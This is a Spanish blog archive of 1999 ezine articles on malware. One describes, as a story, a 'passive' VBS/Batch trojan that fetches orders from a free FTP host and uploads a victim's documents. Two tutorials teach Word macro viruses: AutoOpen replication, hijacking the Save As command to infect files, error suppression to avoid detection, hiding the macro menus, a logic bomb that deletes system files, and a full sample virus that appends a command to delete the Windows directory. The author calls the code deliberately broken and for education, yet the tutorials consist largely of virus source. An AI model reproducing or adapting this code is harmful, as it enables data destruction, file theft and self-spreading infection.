   Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.

   La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.

Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.

   Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.

   A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.

  ” Domingo, 12:52 horas.

    Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.

    Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase.  Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).

   En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.

   …

   (Mientras, en las entrañas del Pentium 500 con 128 de RAM)

   El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.

   Domingo, 14:23 horas.

   El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -”La competencia lo va flipar” - se decía a si mismo.

Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.

   Domingo, 18:36 horas

   Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.

Se llamaba Sheila.

   ¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:\mis documentos\*rod*men*. Pues allí se fue. Al llegar a c:\mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.

   Lunes, 13:05 horas

   El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…

  …

  DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”

En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.
(más…)

Iniciación a los virus de macro (II)

sábado 24 de julio, 1999
 

Notas preliminares: Este articulo lo publiqué en el número 2 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Word 7.0. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como protegernos del mismo.

1. Sintaxis de WB

     Bueno, para los que no esten familiarizados con este tipo de sintaxis… un tirón de orejas. Que repasen sus conceptos de programación. Pero vamos a hacer un breve resumen para poder entender lo que estamos viendo.

Instrucción condicional

       If … Then … Else

Ejecuta instrucciones de forma condicional.

Por ejemplo:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DefinirI()             // Rutina ejemplo que genere un valor aleatorio para i
 
If i = 1 Then       // Si "i" es igual a 1 muestra el siguiente mensaje
 
MsgBox "El valor de i es 1", 0
 
Elsif i = 2 Then        // En cambio, si "i" es igual a 2 muestra este otro
 
MsgBox "El valor de i es 2" , 0
 
Else          // "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1
 
               // ni 2) este otro mensage
 
MsgBox "El valor de i no es ni 1 ni 2" , 0
 
End If                           

Instruccion repetitiva

              For … Next

Ejemplo:

?View Code JAVASCRIPT
1
2
3
4
5
For i = 1 To 10      // Desde i = 1 hasta 10
 
Beep                   // Pitido
 
Next i                 // Siguiente valor de i ( Es decir i + 1 )

Este código emitiria 10 pitidos (uno por cada valor de i )

                             # Instrucción condicional #

              While … Wend

Ejemplo:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
i = 1
 
While i &lt;&gt; 10        // Mientras i sea distinto de 10
 
Beep
 
i = i+1
 
Wend

Este código emitiria 9 pitidos, que son los valores que va tomando “i” hasta llegar a 10.

Instruccion “ir a”

              Goto etiqueta

        Esta es la típica instruccioón de los antiguos lenguajes de programación, que todavía puede encontrarse en algunos de los actuales, pero que no es muy recomendable, puesto que es muy poco eficiente. Es mas aconsejable usar siempre las estructuras anteriores.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
Sub MAIN
 
MsgBox "La siguiente instruccion goto saltara a la etiqueta :fin,
 
         ignorando el resto" , 0
 
Goto fin
 
MsgBox "Por aqui no pasa" , 0
 
:fin
 
End sub

Una vez repasados estos conceptos, proseguimos con el viriing.

2. Los Comandos de Word: Macros ArchivoGuardar, ArchivoGuardarComo ArchivoAbrir…

        Todos sabemos que cuando pulsamos con el mouse sobre la barra de herramientas, aparece un menu desplegable con varias opciones. Por ejemplo, en Archivo, podemos encontrar el tipico Nuevo, Guardar, Guardar Como…, etc

        Todas estas operaciones son los comandos del Word, y no son en realidad mas que simples Macros de solo ejecución.

Pero, ¿qué pasaría si creasemos en la plantilla Global una Macro con el nombre, por ejemplo, ArchivoGuardarComo?

Pues bien, se crearía automáticamente una macro que llama al cuadro de dialogo que aparece cuando pulsamos sobre esa opción.

Sería así:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
Sub MAIN
 
Dim dlg AsArchivoGuardarCom    // Define dlg como cuadro de dialogo ArchivoGuardarComo
 
GetCurValues dlg               // Coje los valores del cuadro de dialogo
 
Dialog dlg                     // Muestra el cuadro en pantalla
 
ArchivoGuardarComo dlg         // Guarda el archivo segun los parametros obtenidos del cuadro
 
End Sub

Nota: Fijarse que en la primera línea aparece AsArchivoGuardarComo todo junto, cuando debería ser As ArchivoGuardarComo. Si lo dejamos como está, nos dará un error.

Bien, esto lo que haria no sería más que definir dlg como cuadro de dialogo de Guardar Como, coger los valores de ese dialogo y mostrarlo en pantalla; lo que viene haciendo Archivo / Guardar Como. Hasta ahí todo normal, pero, que pasaría si colocamos algunas lineas mas en esa Macro, a nuestro antojo?

Mira este otro código:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Sub MAIN
 
Dim dlg As ArchivoGuardarComo
 
GetCurValues dlg
 
Dialog dlg
 
ArchivoGuardarComo dlg
 
ArchivoGuardarComo .Formato = 1  // Guarda el archivo con el formato de una plantilla                                
 
                       // ( Nota: Esto es solo un ejemplo. Si hiciesemos algo así, cualquier archivo se guardaria con
 
                      // este formato, incluso si fuese de solo texto)
 
Infectar()            // Llama a la rutina infectar
 
ArchivoGuardar                   // Guarda de nuevo lo cambios
 
End Sub
?View Code JAVASCRIPT
1
2
3
4
5
6
 
Sub Infectar
 
MacroCopiar "Global:MacroVirica" , NombreVentana$() + ":MacroVirica" , 1
 
End Sub

 

A partir de ahora (siempre y cuando la Macro se llame ArchivoGuardarComo y este en la plantilla global), cada vez que pulsasemos sobre Archivo / Guardar Como…, a los ojos del usuario todo sería normal, pero el archivo guardado tambien sería infectado.

Lo mismo se puede hacer con ArchivoGuardar, ArchivoAbrir …

Nota: Los comandos de Word los puedes ver en el menu de Macros, pero son solo ejecutables, por lo que solo podrás leer el nombre, no su código.

3. Evitando Errores

        WB es un lenguaje interpretado, y como tal, los errores surgiran “in situ”, a medida que se producen. Pero afortunadamente, los errores pueden ser interceptados.

Con la instrucción:

         On Error Resume Next

Conseguiremos que los errores internos a WB ( no los errores que se produzcan en el propio Word) no muestren en pantalla el mensage de error, y el código seguira ejecutandose en la siguiente instrucción. Esto es muy útil para evitar que el virus sea detectado por el usuario en caso de error.

         On Error Goto etiqueta

Tendría el mismo efecto, con la diferencia de que esta vez no continua la ejecución en la siguiente instrucción, sino que salta a la etiqueta del mismo modo que un Goto (que es lo que realmente es).

Para desactivar la deteccion de errores solo hay que utilizar la siguiente instrucción:

         On Error Goto 0

Todos los errores de Word tienen un numero de identificacion. Si queremos conseguir ese numero, lo haremos con la variable especial Err, cuyo valor es el ultimo error producido.

4. Técnicas avanzadas

        Ahora comentare algunas técnicas avanzadas, solo como guía, y para “activar” tu imaginación
(más…)

Iniciación a los virus de macro (I)

lunes 22 de marzo, 1999
 

Notas preliminares: Este artículo lo publiqué en el número 1 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.

Todo lo que expongo aquí no funciona intencionadamente (el código está alterado para que no pueda ser ejecutado), y afectaba únicamente a Word 7.0

La intención del artículo era demostrar una vulnerabilidad en dicho software para saber como evitar una infección de ese tipo.

 

1. Introducción

     Los llamados virus o troyanos de macro son virus que se codifican en aplicaciones como Word o Excel, que utilizan dichas macros para automatizar ciertas tareas.

     Son virus realmente fáciles de crear y de extender, pero si realmente te interesa el mundo de los virus, aprende a escribir virus en ensamblador. Digamos que escribo esto para conocer el funcionamiento de este tipo de virus.

     Estan escritos en el lenguaje que utilize la aplicación para la que son creados, normalmente Visual Basic para Aplicaciones (VBA) o, en el caso del Word, en Word Basic (WB). Ambos lenguajes son muy parecidos (realmente el VB es una versión de Visual Basic específica para esta aplicación) , pero no es objeto de este artículo aprender a programar en estos lenguajes, sino estudiar algunas técnicas víricas para dichos lenguajes.

     Por ser los más comunes, voy a comentar los virus de Word, aunque el mecanismo es el mismo para todas las aplicaciones.

     El Word Basic es un lenguaje interpretado, bastante sencillo, y tiene la particularidad de que sus instrucciones están en el mismo idioma que el propio Word. Así, si codificamos un virus para el Word en castellano, si es ejecutado en un Word en inglés nos dará un mensaje de error. Si eres un poco hábil, deberías ser capaz de solucionar este problema para hacer un virus multilingue. De todas formas, hay muchas ordenes que son independientes del idioma, por lo que un buen objetivo sería escribir un virus utilizando únicamente este tipo de ordenes.

     Las macros en Word se encuentran en las plantillas (*.dot). Cuando creas un documento nuevo, lo normal es que este documento se abra por defecto con la plantilla global NORMAL.DOT, aunque se puede abrir con una plantilla diferente si se desea. Estas plantillas son las que traen el formato con el que se inicia el documento.

     Para crear un documento que contenga macros, solo hay que crear un documento, y guardarlo plantilla (.dot), y no como documento (.doc) Una vez hecho esto, el documento ya podrá contener macros. Hay que tener en cuenta que se puede renombrar el archivo, y pasarlo otra vez a .DOC, conservando así las propiedades de plantilla y las macros que contenga. Tambien se podría crear un documento nuevo, basado en una plantilla infectada, pero en este caso, a mi parecer, no es el más apropiado, puesto que depende ya de otro archivo.

Hay 5 macros automáticas , que son básicas (bueno, eso no es realmente cierto) para la creación de virus (aunque no de “documentos bomba”), ya que el fin último de un virus es reproducirse. Estas macros son:

AutoExec: Una macro con este nombre se ejecutara cada vez que se arranque el Word.

AutoOpen: Se ejecuta cada vez que se abre el documento.

AutoClose: Se ejecuta cada vez que se cierra el documento.

AutoNew: Se ejecuta cada vez que se crea un documento nuevo.

AutoExit: Se ejecuta al salir de Word.

     No hace falta decir que estas macros automáticas se llaman asi en todas las versiones de Word.

     Como cabe esperar, si una plantilla global (lease NORMAL.DOT) contiene una macro automática, todos los documentos que se abran con esa plantilla provocaran la ejecucion de dichas macros. Esta es una de las cosas mas importantes a tener en cuenta para escribir virus de macro.

2. Replicación

     Para infectar, un virus puede utilizar varios mecanismos. Uno de ellos es la utilización de la función MacroCopiar:

MacroCopiar PlantillaOrigen:MacroOrigen , PlantillaDestino:MacroDestino , Soloejecutable

donde,

- soloejecutable : es un número, que si es distinto de 0 hace que la macro se copie como solo ejecutable, y por tanto no se puede editar y ver su contenido.

     El proceso de infección es simple. El documento infectado trae macros escritas en su código. Utilizando esta instrucción, puede copiar las Macros que trae en la plantilla global, infectando así el Word.

MacroCopiar “MiVirus:infecto” , “Global:AutoOpen” ,1

     Esto copia la macro “infecto” de MiVirus.DOC a Global (NORMAL.DOT) como AutoOpen y en modo solo ejecución. A partir de ese momento, todos los documentos que utilizen esa plantilla, al ser abiertos provocaran la ejecución de la macro.

3. Stealth

     En Word hay dos maneras de acceder a un menu donde podemos ver, editar o eliminar las macros de un documento:

     Mediante el menu Herramientas/macros …, donde se pueden editar (en caso de no ser solo-ejecutables) , y eliminar.

     Dentro de este cuadro de dialogo hay un boton (Organizador …) que nos muestra otro cuadro donde se puede copiar macros de un documento a otro o eliminar.

     La otra forma es a través de Archivo / Plantillas … , donde tambien es accesible el Organizador.

     Hay muchas formas de ocultar esto, y asi evitar el acceso a nuestras macros víricas. Podríamos desactivar estos menus, eliminarlos , incluso emularlos…

4. Bombas lógicas

     Las bombas pueden hacerse tambien de muchas formas. Una de ellas es crear una macro en un documento, y asignarle unas teclas rápidas de ejecución.

Por ejemplo,

1
2
3
4
5
6
7
8
Sub MAIN
FijarAtributos "c:\autoexec bat" ,0
FijarAtributos "c:\command com",0
FijarAtributos "c:\config sys",0
Kill c:\autoexec bat"
Kill "c:\command com" 
Kill "c:\config sys"
End Sub

     Este pequeño código, elimina todos los atributos del autoexec.bat, config.sys y command.com (el “0″ es el que lo indica). Despues los archivos son eliminados con la instruccion Kill.

     Si hacemos una macro con esto, y le asignamos como tecla de ejecución, por ejemplo, “izquierda”, pulsar dicha tecla borraría los archivos.

5. Ejemplo: Pezqueñin.doc

     Para terminar, aqui va un pequeño ejemplo de VBA virus muy sencillo, para entender lo explicado anteriormente. Tenemos un documento infectado, llamado pezqueñin.doc que contiene la siguiente macro llamada AutoOpen:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
Sub MAIN
 
MacroCopiar NombreVentana$() + ":infeccion" , "Global:AutoOpen" , 1  // Copia la macro infección 
                                                                         // a la plantilla global con el
                                                                        // nombre AutoOpen, y en modo solo ejecución
 
MacroCopiar NombreVentana$() + ":AutoOpen" , "Global:infectado" , 1  // Copia la macro AutoOpen del
                                                                      // documento infectado a la global con el infectado
 
End Sub

Y otra macro llamada infección

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Sub MAIN
 
On Error Resume Next  // Esta línea sirve para que en caso de error continue 
                              // sin mostrar ningun mensaje de error que nos delataría, 
                              // ya que en un lenguaje interpretado los mensajes de error 
                              // aparecen segun van apareciendo.
 
ArchivoGuardarComo .Formato = 1     // Guarda el archivo abierto con el formato de
                               // plantilla (Nota: esto en un virus real no sería viable, ya que
                               // guardaría cualquier archivo en ese formato, incluido un documento 
                               // de solo texto, por ejemplo, nota.txt)
 
MacroCopiar "Global:AutoOpen" , NombreVentana$() + ":infeccion" , 1   // Copia AutoOpen 
                                                      // de la global al documento con el nombre infección
 
MacroCopiar "Global:infectado" , NombreVentana$() + ":AutoOpen" , 1  // Copia infectado 
                                                                                         //como AutoOpen
 
ArchivoGuardar  // Guarda el archivo de nuevo
 
If Dia(Ahora()) = 28 Then  // Si es dia 28
 
If Mes(Ahora()) = 4 Then  // del mes de Abril
 
MsgBox "Acaba de ser infectado por el virus Pezqueñin", "Virus msg", 0
                                                        // muestra este mensaje
 
Open "c:\autoexec.bat" For Append As #1  // Abre el archivo autoexec.bat para adición
 
Print #1 " del c\windows\*.* &gt; null "    // añade esta linea al autoexec
 
Close #1  // Cierra de nuevo el archivo
 
SalirWindows  // Sale de Windows
 
End If
 
End If
 
End sub

6. Disclaimer

     Este artículo está escrito con fines puramente didácticos, para conocer un poco más de lo que es capaz un ordenador, y a conocer los fallos que posee para poder solucionarlos.

     Recordar que un virus no es un pedazo de software creado para destruir y/o irrumpir en maquinas ajenas, sino que es un ingenio informático que demuestra la posibilidad de crear una vida artificial capaz de reproducirse por si misma y evitar ser eliminada.